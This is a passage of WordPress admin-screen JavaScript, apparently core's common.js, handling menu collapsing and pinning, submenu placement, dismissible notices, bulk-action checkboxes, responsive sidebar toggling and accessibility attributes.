$permalinkStructure[0].setSelectionRange ) { newSelectionStart = ( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend ).length; $permalinkStructure[0].setSelectionRange( newSelectionStart, newSelectionStart ); $permalinkStructure.trigger( 'focus' ); } } ); $( function() { var checks, first, last, checked, sliced, mobileEvent, transitionTimeout, focusedRowActions, lastClicked = false, pageInput = $('input.current-page'), currentPage = pageInput.val(), isIOS = /iPhone|iPad|iPod/.test( navigator.userAgent ), isAndroid = navigator.userAgent.indexOf( 'Android' ) !== -1, $adminMenuWrap = $( '#adminmenuwrap' ), $wpwrap = $( '#wpwrap' ), $adminmenu = $( '#adminmenu' ), $overlay = $( '#wp-responsive-overlay' ), $toolbar = $( '#wp-toolbar' ), $toolbarPopups = $toolbar.find( 'a[aria-haspopup="true"]' ), $sortables = $('.meta-box-sortables'), wpResponsiveActive = false, $adminbar = $( '#wpadminbar' ), lastScrollPosition = 0, pinnedMenuTop = false, pinnedMenuBottom = false, menuTop = 0, menuState, menuIsPinned = false, height = { window: $window.height(), wpwrap: $wpwrap.height(), adminbar: $adminbar.height(), menu: $adminMenuWrap.height() }, $headerEnd = $( '.wp-header-end' ); /** * Makes the fly-out submenu header clickable, when the menu is folded. * * @param {Event} e The event object. * * @return {void} */ $adminmenu.on('click.wp-submenu-head', '.wp-submenu-head', function(e){ $(e.target).parent().siblings('a').get(0).click(); }); /** * Collapses the admin menu. * * @return {void} */ $( '#collapse-button' ).on( 'click.collapse-menu', function() { var viewportWidth = getViewportWidth() || 961; // Reset any compensation for submenus near the bottom of the screen. $('#adminmenu div.wp-submenu').css('margin-top', ''); if ( viewportWidth <= 960 ) { if ( $body.hasClass('auto-fold') ) { $body.removeClass('auto-fold').removeClass('folded'); setUserSetting('unfold', 1); setUserSetting('mfold', 'o'); menuState = 'open'; } else { $body.addClass('auto-fold'); setUserSetting('unfold', 0); menuState = 'folded'; } } else { if ( $body.hasClass('folded') ) { $body.removeClass('folded'); setUserSetting('mfold', 'o'); menuState = 'open'; } else { $body.addClass('folded'); setUserSetting('mfold', 'f'); menuState = 'folded'; } } $document.trigger( 'wp-collapse-menu', { state: menuState } ); }); /** * Ensures an admin submenu is within the visual viewport. * * @since 4.1.0 * * @param {jQuery} $menuItem The parent menu item containing the submenu. * * @return {void} */ function adjustSubmenu( $menuItem ) { var bottomOffset, pageHeight, adjustment, theFold, menutop, wintop, maxtop, $submenu = $menuItem.find( '.wp-submenu' ); menutop = $menuItem.offset().top; wintop = $window.scrollTop(); maxtop = menutop - wintop - 30; // max = make the top of the sub almost touch admin bar. bottomOffset = menutop + $submenu.height() + 1; // Bottom offset of the menu. pageHeight = $wpwrap.height(); // Height of the entire page. adjustment = 60 + bottomOffset - pageHeight; theFold = $window.height() + wintop - 50; // The fold. if ( theFold < ( bottomOffset - adjustment ) ) { adjustment = bottomOffset - theFold; } if ( adjustment > maxtop ) { adjustment = maxtop; } if ( adjustment > 1 && $('#wp-admin-bar-menu-toggle').is(':hidden') ) { $submenu.css( 'margin-top', '-' + adjustment + 'px' ); } else { $submenu.css( 'margin-top', '' ); } } if ( 'ontouchstart' in window || /IEMobile\/[1-9]/.test(navigator.userAgent) ) { // Touch screen device. // iOS Safari works with touchstart, the rest work with click. mobileEvent = isIOS ? 'touchstart' : 'click'; /** * Closes any open submenus when touch/click is not on the menu. * * @param {Event} e The event object. * * @return {void} */ $body.on( mobileEvent+'.wp-mobile-hover', function(e) { if ( $adminmenu.data('wp-responsive') ) { return; } if ( ! $( e.target ).closest( '#adminmenu' ).length ) { $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' ); } }); /** * Handles the opening or closing the submenu based on the mobile click|touch event. * * @param {Event} event The event object. * * @return {void} */ $adminmenu.find( 'a.wp-has-submenu' ).on( mobileEvent + '.wp-mobile-hover', function( event ) { var $menuItem = $(this).parent(); if ( $adminmenu.data( 'wp-responsive' ) ) { return; } /* * Show the sub instead of following the link if: * - the submenu is not open. * - the submenu is not shown inline or the menu is not folded. */ if ( ! $menuItem.hasClass( 'opensub' ) && ( ! $menuItem.hasClass( 'wp-menu-open' ) || $menuItem.width() < 40 ) ) { event.preventDefault(); adjustSubmenu( $menuItem ); $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' ); $menuItem.addClass('opensub'); } }); } if ( ! isIOS && ! isAndroid ) { $adminmenu.find( 'li.wp-has-submenu' ).hoverIntent({ /** * Opens the submenu when hovered over the menu item for desktops. * * @return {void} */ over: function() { var $menuItem = $( this ), $submenu = $menuItem.find( '.wp-submenu' ), top = parseInt( $submenu.css( 'top' ), 10 ); if ( isNaN( top ) || top > -5 ) { // The submenu is visible. return; } if ( $adminmenu.data( 'wp-responsive' ) ) { // The menu is in responsive mode, bail. return; } adjustSubmenu( $menuItem ); $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' ); $menuItem.addClass( 'opensub' ); }, /** * Closes the submenu when no longer hovering the menu item. * * @return {void} */ out: function(){ if ( $adminmenu.data( 'wp-responsive' ) ) { // The menu is in responsive mode, bail. return; } $( this ).removeClass( 'opensub' ).find( '.wp-submenu' ).css( 'margin-top', '' ); }, timeout: 200, sensitivity: 7, interval: 90 }); /** * Opens the submenu on when focused on the menu item. * * @param {Event} event The event object. * * @return {void} */ $adminmenu.on( 'focus.adminmenu', '.wp-submenu a', function( event ) { if ( $adminmenu.data( 'wp-responsive' ) ) { // The menu is in responsive mode, bail. return; } $( event.target ).closest( 'li.menu-top' ).addClass( 'opensub' ); /** * Closes the submenu on blur from the menu item. * * @param {Event} event The event object. * * @return {void} */ }).on( 'blur.adminmenu', '.wp-submenu a', function( event ) { if ( $adminmenu.data( 'wp-responsive' ) ) { return; } $( event.target ).closest( 'li.menu-top' ).removeClass( 'opensub' ); /** * Adjusts the size for the submenu. * * @return {void} */ }).find( 'li.wp-has-submenu.wp-not-current-submenu' ).on( 'focusin.adminmenu', function() { adjustSubmenu( $( this ) ); }); } /* * The `.below-h2` class is here just for backward compatibility with plugins * that are (incorrectly) using it. Do not use. Use `.inline` instead. See #34570. * If '.wp-header-end' is found, append the notices after it otherwise * after the first h1 or h2 heading found within the main content. */ if ( ! $headerEnd.length ) { $headerEnd = $( '.wrap h1, .wrap h2' ).first(); } $( 'div.updated, div.error, div.notice' ).not( '.inline, .below-h2' ).insertAfter( $headerEnd ); /** * Makes notices dismissible. * * @since 4.4.0 * * @return {void} */ function makeNoticesDismissible() { $( '.notice.is-dismissible' ).each( function() { var $el = $( this ), $button = $( '<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>' ); if ( $el.find( '.notice-dismiss' ).length ) { return; } // Ensure plain text. $button.find( '.screen-reader-text' ).text( __( 'Dismiss this notice.' ) ); $button.on( 'click.wp-dismiss-notice', function( event ) { event.preventDefault(); $el.fadeTo( 100, 0, function() { $el.slideUp( 100, function() { $el.remove(); }); }); }); $el.append( $button ); }); } $document.on( 'wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error wp-notice-added', makeNoticesDismissible ); // Init screen meta. screenMeta.init(); /** * Checks a checkbox. * * This event needs to be delegated. Ticket #37973. * * @return {boolean} Returns whether a checkbox is checked or not. */ $body.on( 'click', 'tbody > tr > .check-column :checkbox', function( event ) { // Shift click to select a range of checkboxes. if ( 'undefined' == event.shiftKey ) { return true; } if ( event.shiftKey ) { if ( !lastClicked ) { return true; } checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' ).filter( ':visible:enabled' ); first = checks.index( lastClicked ); last = checks.index( this ); checked = $(this).prop('checked'); if ( 0 < first && 0 < last && first != last ) { sliced = ( last > first ) ? checks.slice( first, last ) : checks.slice( last, first ); sliced.prop( 'checked', function() { if ( $(this).closest('tr').is(':visible') ) return checked; return false; }); } } lastClicked = this; // Toggle the "Select all" checkboxes depending if the other ones are all checked or not. var unchecked = $(this).closest('tbody').find('tr').find(':checkbox').filter(':visible:enabled').not(':checked'); /** * Determines if all checkboxes are checked. * * @return {boolean} Returns true if there are no unchecked checkboxes. */ $(this).closest('table').children('thead, tfoot').find(':checkbox').prop('checked', function() { return ( 0 === unchecked.length ); }); return true; }); /** * Controls all the toggles on bulk toggle change. * * When the bulk checkbox is changed, all the checkboxes in the tables are changed accordingly. * When the shift-button is pressed while changing the bulk checkbox the checkboxes in the table are inverted. * * This event needs to be delegated. Ticket #37973. * * @param {Event} event The event object. * * @return {boolean} */ $body.on( 'click.wp-toggle-checkboxes', 'thead .check-column :checkbox, tfoot .check-column :checkbox', function( event ) { var $this = $(this), $table = $this.closest( 'table' ), controlChecked = $this.prop('checked'), toggle = event.shiftKey || $this.data('wp-toggle'); $table.children( 'tbody' ).filter(':visible') .children().children('.check-column').find(':checkbox') /** * Updates the checked state on the checkbox in the table. * * @return {boolean} True checks the checkbox, False unchecks the checkbox. */ .prop('checked', function() { if ( $(this).is(':hidden,:disabled') ) { return false; } if ( toggle ) { return ! $(this).prop( 'checked' ); } else if ( controlChecked ) { return true; } return false; }); $table.children('thead, tfoot').filter(':visible') .children().children('.check-column').find(':checkbox') /** * Syncs the bulk checkboxes on the top and bottom of the table. * * @return {boolean} True checks the checkbox, False unchecks the checkbox. */ .prop('checked', function() { if ( toggle ) { return false; } else if ( controlChecked ) { return true; } return false; }); }); /** * Marries a secondary control to its primary control. * * @param {jQuery} topSelector The top selector element. * @param {jQuery} topSubmit The top submit element. * @param {jQuery} bottomSelector The bottom selector element. * @param {jQuery} bottomSubmit The bottom submit element. * @return {void} */ function marryControls( topSelector, topSubmit, bottomSelector, bottomSubmit ) { /** * Updates the primary selector when the secondary selector is changed. * * @since 5.7.0 * * @return {void} */ function updateTopSelector() { topSelector.val($(this).val()); } bottomSelector.on('change', updateTopSelector); /** * Updates the secondary selector when the primary selector is changed. * * @since 5.7.0 * * @return {void} */ function updateBottomSelector() { bottomSelector.val($(this).val()); } topSelector.on('change', updateBottomSelector); /** * Triggers the primary submit when then secondary submit is clicked. * * @since 5.7.0 * * @return {void} */ function triggerSubmitClick(e) { e.preventDefault(); e.stopPropagation(); topSubmit.trigger('click'); } bottomSubmit.on('click', triggerSubmitClick); } // Marry the secondary "Bulk actions" controls to the primary controls: marryControls( $('#bulk-action-selector-top'), $('#doaction'), $('#bulk-action-selector-bottom'), $('#doaction2') ); // Marry the secondary "Change role to" controls to the primary controls: marryControls( $('#new_role'), $('#changeit'), $('#new_role2'), $('#changeit2') ); var addAdminNotice = function( data ) { var $notice = $( data.selector ), $headerEnd = $( '.wp-header-end' ), type, dismissible, $adminNotice; delete data.selector; dismissible = ( data.dismissible && data.dismissible === true ) ? ' is-dismissible' : ''; type = ( data.type ) ? data.type : 'info'; $adminNotice = '<div id="' + data.id + '" class="notice notice-' + data.type + dismissible + '"><p>' + data.message + '</p></div>'; // Check if this admin notice already exists. if ( ! $notice.length ) { $notice = $( '#' + data.id ); } if ( $notice.length ) { $notice.replaceWith( $adminNotice ); } else if ( $headerEnd.length ) { $headerEnd.after( $adminNotice ); } else { if ( 'customize' === pagenow ) { $( '.customize-themes-notifications' ).append( $adminNotice ); } else { $( '.wrap' ).find( '> h1' ).after( $adminNotice ); } } $document.trigger( 'wp-notice-added' ); }; $( '.bulkactions' ).parents( 'form' ).on( 'submit', function( event ) { var form = this, submitterName = event.originalEvent && event.originalEvent.submitter ? event.originalEvent.submitter.name : false, currentPageSelector = form.querySelector( '#current-page-selector' ); if ( currentPageSelector && currentPageSelector.defaultValue !== currentPageSelector.value ) { return; // Pagination form submission. } // Observe submissions from posts lists for 'bulk_action' or users lists for 'new_role'. var bulkFieldRelations = { 'bulk_action' : window.bulkActionObserverIds.bulk_action, 'changeit' : window.bulkActionObserverIds.changeit }; if ( ! Object.keys( bulkFieldRelations ).includes( submitterName ) ) { return; } var values = new FormData(form); var value = values.get( bulkFieldRelations[ submitterName ] ) || '-1'; // Check that the action is not the default one. if ( value !== '-1' ) { // Check that at least one item is selected. var itemsSelected = form.querySelectorAll( '.wp-list-table tbody .check-column input[type="checkbox"]:checked' ); if ( itemsSelected.length > 0 ) { return; } } event.preventDefault(); event.stopPropagation(); $( 'html, body' ).animate( { scrollTop: 0 } ); var errorMessage = value !== '-1' ? __( 'Please select at least one item to perform this action on.' ) : __( 'Please select a bulk action to perform.' ); addAdminNotice( { id: value !== '-1' ? 'no-items-selected' : 'no-bulk-action-selected', type: 'error', message: errorMessage, dismissible: true, } ); wp.a11y.speak( errorMessage ); }); /** * Shows row actions on focus of its parent container element or any other elements contained within. * * @return {void} */ $( '#wpbody-content' ).on({ focusin: function() { clearTimeout( transitionTimeout ); focusedRowActions = $( this ).find( '.row-actions' ); // transitionTimeout is necessary for Firefox, but Chrome won't remove the CSS class without a little help. $( '.row-actions' ).not( this ).removeClass( 'visible' ); focusedRowActions.addClass( 'visible' ); }, focusout: function() { // Tabbing between post title and .row-actions links needs a brief pause, otherwise // the .row-actions div gets hidden in transit in some browsers (ahem, Firefox). transitionTimeout = setTimeout( function() { focusedRowActions.removeClass( 'visible' ); }, 30 ); } }, '.table-view-list .has-row-actions' ); // Toggle list table rows on small screens. $( 'tbody' ).on( 'click', '.toggle-row', function() { $( this ).closest( 'tr' ).toggleClass( 'is-expanded' ); }); $('#default-password-nag-no').on( 'click', function() { setUserSetting('default_password_nag', 'hide'); $('div.default-password-nag').hide(); return false; }); /** * Handles tab keypresses in theme and plugin file editor textareas. * * @param {Event} e The event object. * * @return {void} */ $('#newcontent').on('keydown.wpevent_InsertTab', function(e) { var el = e.target, selStart, selEnd, val, scroll, sel; // After pressing escape key (keyCode: 27), the tab key should tab out of the textarea. if ( e.keyCode == 27 ) { // When pressing Escape: Opera 12 and 27 blur form fields, IE 8 clears them. e.preventDefault(); $(el).data('tab-out', true); return; } // Only listen for plain tab key (keyCode: 9) without any modifiers. if ( e.keyCode != 9 || e.ctrlKey || e.altKey || e.shiftKey ) return; // After tabbing out, reset it so next time the tab key can be used again. if ( $(el).data('tab-out') ) { $(el).data('tab-out', false); return; } selStart = el.selectionStart; selEnd = el.selectionEnd; val = el.value; // If any text is selected, replace the selection with a tab character. if ( document.selection ) { el.focus(); sel = document.selection.createRange(); sel.text = '\t'; } else if ( selStart >= 0 ) { scroll = this.scrollTop; el.value = val.substring(0, selStart).concat('\t', val.substring(selEnd) ); el.selectionStart = el.selectionEnd = selStart + 1; this.scrollTop = scroll; } // Cancel the regular tab functionality, to prevent losing focus of the textarea. if ( e.stopPropagation ) e.stopPropagation(); if ( e.preventDefault ) e.preventDefault(); }); // Reset page number variable for new filters/searches but not for bulk actions. See #17685. if ( pageInput.length ) { /** * Handles pagination variable when filtering the list table. * * Set the pagination argument to the first page when the post-filter form is submitted. * This happens when pressing the 'filter' button on the list table page. * * The pagination argument should not be touched when the bulk action dropdowns are set to do anything. * * The form closest to the pageInput is the post-filter form. * * @return {void} */ pageInput.closest('form').on( 'submit', function() { /* * action = bulk action dropdown at the top of the table */ if ( $('select[name="action"]').val() == -1 && pageInput.val() == currentPage ) pageInput.val('1'); }); } /** * Resets the bulk actions when the search button is clicked. * * @return {void} */ $('.search-box input[type="search"], .search-box input[type="submit"]').on( 'mousedown', function () { $('select[name^="action"]').val('-1'); }); /** * Scrolls into view when focus.scroll-into-view is triggered. * * @param {Event} e The event object. * * @return {void} */ $('#contextual-help-link, #show-settings-link').on( 'focus.scroll-into-view', function(e){ if ( e.target.scrollIntoViewIfNeeded ) e.target.scrollIntoViewIfNeeded(false); }); /** * Disables the submit upload buttons when no data is entered. * * @return {void} */ (function(){ var button, input, form = $('form.wp-upload-form'); // Exit when no upload form is found. if ( ! form.length ) return; button = form.find('input[type="submit"]'); input = form.find('input[type="file"]'); /** * Determines if any data is entered in any file upload input. * * @since 3.5.0 * * @return {void} */ function toggleUploadButton() { // When no inputs have a value, disable the upload buttons. button.prop('disabled', '' === input.map( function() { return $(this).val(); }).get().join('')); } // Update the status initially. toggleUploadButton(); // Update the status when any file input changes. input.on('change', toggleUploadButton); })(); /** * Pins the menu while distraction-free writing is enabled. * * @param {Event} event Event data. * * @since 4.1.0 * * @return {void} */ function pinMenu( event ) { var windowPos = $window.scrollTop(), resizing = ! event || event.type !== 'scroll'; if ( isIOS || $adminmenu.data( 'wp-responsive' ) ) { return; } /* * When the menu is higher than the window and smaller than the entire page. * It should be adjusted to be able to see the entire menu. * * Otherwise it can be accessed normally. */ if ( height.menu + height.adminbar < height.window || height.menu + height.adminbar + 20 > height.wpwrap ) { unpinMenu(); return; } menuIsPinned = true; // If the menu is higher than the window, compensate on scroll. if ( height.menu + height.adminbar > height.window ) { // Check for overscrolling, this happens when swiping up at the top of the document in modern browsers. if ( windowPos < 0 ) { // Stick the menu to the top. if ( ! pinnedMenuTop ) { pinnedMenuTop = true; pinnedMenuBottom = false; $adminMenuWrap.css({ position: 'fixed', top: '', bottom: '' }); } return; } else if ( windowPos + height.window > $document.height() - 1 ) { // When overscrolling at the bottom, stick the menu to the bottom. if ( ! pinnedMenuBottom ) { pinnedMenuBottom = true; pinnedMenuTop = false; $adminMenuWrap.css({ position: 'fixed', top: '', bottom: 0 }); } return; } if ( windowPos > lastScrollPosition ) { // When a down scroll has been detected. // If it was pinned to the top, unpin and calculate relative scroll. if ( pinnedMenuTop ) { pinnedMenuTop = false; // Calculate new offset position. menuTop = $adminMenuWrap.offset().top - height.adminbar - ( windowPos - lastScrollPosition ); if ( menuTop + height.menu + height.adminbar < windowPos + height.window ) { menuTop = windowPos + height.window - height.menu - height.adminbar; } $adminMenuWrap.css({ position: 'absolute', top: menuTop, bottom: '' }); } else if ( ! pinnedMenuBottom && $adminMenuWrap.offset().top + height.menu < windowPos + height.window ) { // Pin it to the bottom. pinnedMenuBottom = true; $adminMenuWrap.css({ position: 'fixed', top: '', bottom: 0 }); } } else if ( windowPos < lastScrollPosition ) { // When a scroll up is detected. // If it was pinned to the bottom, unpin and calculate relative scroll. if ( pinnedMenuBottom ) { pinnedMenuBottom = false; // Calculate new offset position. menuTop = $adminMenuWrap.offset().top - height.adminbar + ( lastScrollPosition - windowPos ); if ( menuTop + height.menu > windowPos + height.window ) { menuTop = windowPos; } $adminMenuWrap.css({ position: 'absolute', top: menuTop, bottom: '' }); } else if ( ! pinnedMenuTop && $adminMenuWrap.offset().top >= windowPos + height.adminbar ) { // Pin it to the top. pinnedMenuTop = true; $adminMenuWrap.css({ position: 'fixed', top: '', bottom: '' }); } } else if ( resizing ) { // Window is being resized. pinnedMenuTop = pinnedMenuBottom = false; // Calculate the new offset. menuTop = windowPos + height.window - height.menu - height.adminbar - 1; if ( menuTop > 0 ) { $adminMenuWrap.css({ position: 'absolute', top: menuTop, bottom: '' }); } else { unpinMenu(); } } } lastScrollPosition = windowPos; } /** * Determines the height of certain elements. * * @since 4.1.0 * * @return {void} */ function resetHeights() { height = { window: $window.height(), wpwrap: $wpwrap.height(), adminbar: $adminbar.height(), menu: $adminMenuWrap.height() }; } /** * Unpins the menu. * * @since 4.1.0 * * @return {void} */ function unpinMenu() { if ( isIOS || ! menuIsPinned ) { return; } pinnedMenuTop = pinnedMenuBottom = menuIsPinned = false; $adminMenuWrap.css({ position: '', top: '', bottom: '' }); } /** * Pins and unpins the menu when applicable. * * @since 4.1.0 * * @return {void} */ function setPinMenu() { resetHeights(); if ( $adminmenu.data('wp-responsive') ) { $body.removeClass( 'sticky-menu' ); unpinMenu(); } else if ( height.menu + height.adminbar > height.window ) { pinMenu(); $body.removeClass( 'sticky-menu' ); } else { $body.addClass( 'sticky-menu' ); unpinMenu(); } } if ( ! isIOS ) { $window.on( 'scroll.pin-menu', pinMenu ); $document.on( 'tinymce-editor-init.pin-menu', function( event, editor ) { editor.on( 'wp-autoresize', resetHeights ); }); } /** * Changes the sortables and responsiveness of metaboxes. * * @since 3.8.0 * * @return {void} */ window.wpResponsive = { /** * Initializes the wpResponsive object. * * @since 3.8.0 * * @return {void} */ init: function() { var self = this; this.maybeDisableSortables = this.maybeDisableSortables.bind( this ); // Modify functionality based on custom activate/deactivate event. $document.on( 'wp-responsive-activate.wp-responsive', function() { self.activate(); self.toggleAriaHasPopup( 'add' ); }).on( 'wp-responsive-deactivate.wp-responsive', function() { self.deactivate(); self.toggleAriaHasPopup( 'remove' ); }); $( '#wp-admin-bar-menu-toggle a' ).attr( 'aria-expanded', 'false' ); // Toggle sidebar when toggle is clicked. $( '#wp-admin-bar-menu-toggle' ).on( 'click.wp-responsive', function( event ) { event.preventDefault(); // Close any open toolbar submenus. $adminbar.find( '.hover' ).removeClass( 'hover' ); $wpwrap.toggleClass( 'wp-responsive-open' ); if ( $wpwrap.hasClass( 'wp-responsive-open' ) ) { $(this).find('a').attr( 'aria-expanded', 'true' ); $( '#adminmenu a:first' ).trigger( 'focus' ); } else { $(this).find('a').attr( 'aria-expanded', 'false' ); } } ); // Close sidebar when target moves outside of toggle and sidebar. $( document ).on( 'click', function( event ) { if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) || ! document.hasFocus() ) { return; } var focusIsInToggle = $.contains( $( '#wp-admin-bar-menu-toggle' )[0], event.target ); var focusIsInSidebar = $.contains( $( '#adminmenuwrap' )[0], event.target ); if ( ! focusIsInToggle && ! focusIsInSidebar ) { $( '#wp-admin-bar-menu-toggle' ).trigger( 'click.wp-responsive' ); } } ); // Close sidebar when a keypress completes outside of toggle and sidebar. $( document ).on( 'keyup', function( event ) { var toggleButton = $( '#wp-admin-bar-menu-toggle' )[0]; if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) ) { return; } if ( 27 === event.keyCode ) { $( toggleButton ).trigger( 'click.wp-responsive' ); $( toggleButton ).find( 'a' ).trigger( 'focus' ); } else { if ( 9 === event.keyCode ) { var sidebar = $( '#adminmenuwrap' )[0]; var focusedElement = event.relatedTarget || document.activeElement; // A brief delay is required to allow focus to switch to another element. setTimeout( function() { var focusIsInToggle = $.contains( toggleButton, focusedElement ); var focusIsInSidebar = $.contains( sidebar, focusedElement ); if ( ! focusIsInToggle && ! focusIsInSidebar ) { $( toggleButton ).trigger( 'click.wp-responsive' ); } }, 10 ); } } }); // Add menu events. $adminmenu.on( 'click.wp-responsive', 'li.wp-has-submenu > a', function( event ) { if ( ! $adminmenu.data('wp-responsive') ) { return; } let state = ( 'false' === $( this ).attr( 'aria-expanded' ) ) ? 'true' : 'false'; $( this ).parent( 'li' ).toggleClass( 'selected' ); $( this ).attr( 'aria-expanded', state ); $( this ).trigger( 'focus' ); event.preventDefault(); }); self.trigger(); $document.on( 'wp-window-resized.wp-responsive', this.trigger.bind( this ) ); // This needs to run later as UI Sortable may be initialized when the document is ready. $window.on( 'load.wp-responsive', this.maybeDisableSortables ); $document.on( 'postbox-toggled', this.maybeDisableSortables ); // When the screen columns are changed, potentially disable sortables. $( '#screen-options-wrap input' ).on( 'click', this.maybeDisableSortables ); }, /** * Disable sortables if there is only one metabox, or the screen is in one column mode. Otherwise, enable sortables. * * @since 5.3.0 * * @return {void} */ maybeDisableSortables: function() { var width = navigator.userAgent.indexOf('AppleWebKit/') > -1 ? $window.width() : window.innerWidth; if ( ( width <= 782 ) || ( 1 >= $sortables.find( '.ui-sortable-handle:visible' ).length && jQuery( '.columns-prefs-1 input' ).prop( 'checked' ) ) ) { this.disableSortables(); } else { this.enableSortables(); } }, /** * Changes properties of body and admin menu. * * Pins and unpins the menu and adds the auto-fold class to the body. * Makes the admin menu responsive and disables the metabox sortables. * * @since 3.8.0 * * @return {void} */ activate: function() { setPinMenu(); if ( ! $body.hasClass( 'auto-fold' ) ) { $body.addClass( 'auto-fold' ); } $adminmenu.data( 'wp-responsive', 1 ); this.disableSortables(); }, /** * Changes properties of admin menu and enables metabox sortables. * * Pin and unpin the menu. * Removes the responsiveness of the admin menu and enables the metabox sortables. * * @since 3.8.0 * * @return {void} */ deactivate: function() { setPinMenu(); $adminmenu.removeData('wp-responsive'); this.maybeDisableSortables(); }, /** * Toggles the aria-haspopup attribute for the responsive admin menu. * * The aria-haspopup attribute is only necessary for the responsive menu. * See ticket https://core.trac.wordpress.org/ticket/43095 * * @since 6.6.0 * * @param {string} action Whether to add or remove the aria-haspopup attribute. * * @return {void} */ toggleAriaHasPopup: function( action ) { var elements = $adminmenu.find( '[data-ariahaspopup]' ); if ( action === 'add' ) { elements.each( function() { $( this ).attr( 'aria-haspopup', 'menu' ).attr( 'aria-expanded', 'false' ); } ); return; } elements.each( function() { $( this ).removeAttr( 'aria-haspopup' ).removeAttr( 'aria-expanded' ); } ); }, /** * Sets the responsiveness and enables the overlay based on the viewport width. * * @since 3.8.0 * * @return {void} */ trigger: function() { var viewportWidth = getViewportWidth(); // Exclude IE < 9, it doesn't support @media CSS rules. if ( ! viewportWidth ) { return; } if ( viewportWidth <= 782 ) { if ( ! wpResponsiveActive ) { $document.trigger( 'wp-responsive-activate' ); wpResponsiveActive = true; } } else { if ( wpResponsiveActive ) { $document.trigger( 'wp-responsive-deactivate' ); wpResponsiveActive = false; } } if ( viewportWidth <= 480 ) { this.enableOverlay(); } else { this.disableOverlay(); } this.maybeDisableSortables(); }, /** * Inserts a responsive overlay and toggles the window. * * @since 3.8.0 * * @return {void} */ enableOverlay: function() { if ( $overlay.length === 0 ) { $overlay = $( '<div id="wp-responsive-overlay"></div>' ) .insertAfter( '#wpcontent' ) .hide() .on( 'click.wp-responsive', function() { $toolbar.find( '.menupop.hover' ).removeClass( 'hover' ); $( this ).hide(); }); } $toolbarPopups.on( 'click.wp-responsive', function() { $overlay.show(); }); }, /** * Disables the responsive overlay and removes the overlay. * * @since 3.8.0 * * @return {void} */ disableOverlay: function() { $toolbarPopups.off( 'click.wp-responsive' ); $overlay.hide(); }, /** * Disables sortables. * * @since 3.8.0 * * @return {void} */ disableSortables: function() { if ( $sortables.length ) { try { $sortables.sortable( 'disable' ); $sortables.find( '.ui-sortable-handle' ).addClass( 'is-non-sortable' ); } catch ( e ) {} } }, /** * Enables sortables. * * @since 3.8.0 * * @return {void} */ enableSortables: function() { if ( $sortables.length ) { try { $sortables.sortable( 'enable' ); $sortables.find( '.ui-sortable-handle' ).removeClass( 'is-non-sortable' ); } catch ( e ) {} } } }; /** * Add an ARIA role `button` to elements that behave like UI controls when JavaScript is on. * * @since 4.5.0 * * @return {void} */ function aria_button_if_js() { $( '.aria-button-if-js' ).attr( 'role', 'button' ); } $( document ).on( 'ajaxComplete', function() { aria_button_if_js(); }); /** * Get the viewport width. * * @since 4.7.0 * * @return {number|boolean} The current viewport width or false if the * browser doesn't support innerWidth (IE < 9). */ function getViewportWidth() { var viewportWidth = false; if ( window.innerWidth ) { // On phones, window.innerWidth is affected by zooming. viewportWidth = Math.max( window.innerWidth, document.documentElement.clientWidth ); } return viewportWidth; } /** * Sets the admin menu collapsed/expanded state. * * Sets the global variable `menuState` and triggers a custom event passing * the current menu state. * * @since 4.7.0 * * @return {void} */ function setMenuState() { var viewportWidth = getViewportWidth() || 961; if ( viewportWidth <= 782 ) { menuState = 'responsive'; } else if ( $body.hasClass( 'folded' ) || ( $body.hasClass( 'auto-fold' ) && viewportWidth <= 960 && viewportWidth > 782 ) ) { menuState = 'folded'; } else { menuState = 'open'; } $document.trigger( 'wp-menu-state-set', { state: menuState } ); } // Set the menu state when the window gets resized. $document.on( 'wp-window-resized.set-menu-state', setMenuState ); /** * Sets ARIA attributes on the collapse/expand menu button. * * When the admin menu is open or folded, updates the `aria-expanded` and * `aria-label` attributes of the button to give feedback to assistive * technologies. In the responsive view, the button is always hidden. * * @since 4.7.0 * * @return {void} */ $document.on( 'wp-menu-state-set wp-collapse-menu', function( event, eventData ) { var $collapseButton = $( '#collapse-button' ), ariaExpanded, ariaLabelText; if ( 'folded' === eventData.state ) { ariaExpanded = 'false'; ariaLabelText = __( 'Expand Main menu' ); } else { ariaExpanded = 'true'; ariaLabelText = __( 'Collapse Main menu' ); } $collapseButton.attr({ 'aria-expanded': ariaExpanded, 'aria-label': ariaLabelText }); }); window.wpResponsive.init(); setPinMenu(); setMenuState(); makeNoticesDismissible(); aria_button_if_js(); $document.on( 'wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu', setPinMenu ); // Set initial focus on a specific element. $( '.wp-initial-focus' ).trigger( 'focus' ); // Toggle update details on update-core.php. $body.on( 'click', '.js-update-details-toggle', function() { var $updateNotice = $( this ).closest( '.js-update-details' ), $progressDiv = $( '#' + $updateNotice.data( 'update-details' ) ); /* * When clicking on "Show details" move the progress div below the update * notice. Make sure it gets moved just the first time. */ if ( ! $progressDiv.hasClass( 'update-details-moved' ) ) { $progressDiv.insertAfter( $updateNotice ).addClass( 'update-details-moved' ); } // Toggle the progress div visibility. $progressDiv.toggle(); // Toggle the Show Details button expanded state. $( this ).attr( 'aria-expanded', $progressDiv.is( ':visible' ) ); }); }); /** * Hides the update button for expired plugin or theme uploads. * * On the "Update plugin/theme from uploaded zip" screen, once the upload has expired, * hides the "Replace current with uploaded" button and displays a warning. * * @since 5.5.0 */ $( function( $ ) { var $overwrite, $warning; if ( ! $body.hasClass( 'update-php' ) ) { return; } $overwrite = $( 'a.update-from-upload-overwrite' ); $warning = $( '.update-from-upload-expired' ); if ( ! $overwrite.length || ! $warning.length ) { return; } window.setTimeout( function() { $overwrite.hide(); $warning.removeClass( 'hidden' ); if ( window.wp && window.wp.a11y ) { window.wp.a11y.speak( $warning.text() ); } }, 7140000 // 119 minutes. The uploaded file is deleted after 2 hours. ); } ); // Fire a custom jQuery event at the end of window resize. ( function() { var timeout; /** * Triggers the WP window-resize event. * * @since 3.8.0 * * @return {void} */ function triggerEvent() { $document.trigger( 'wp-window-resized' ); } /** * Fires the trigger event again after 200 ms. * * @since 3.8.0 * 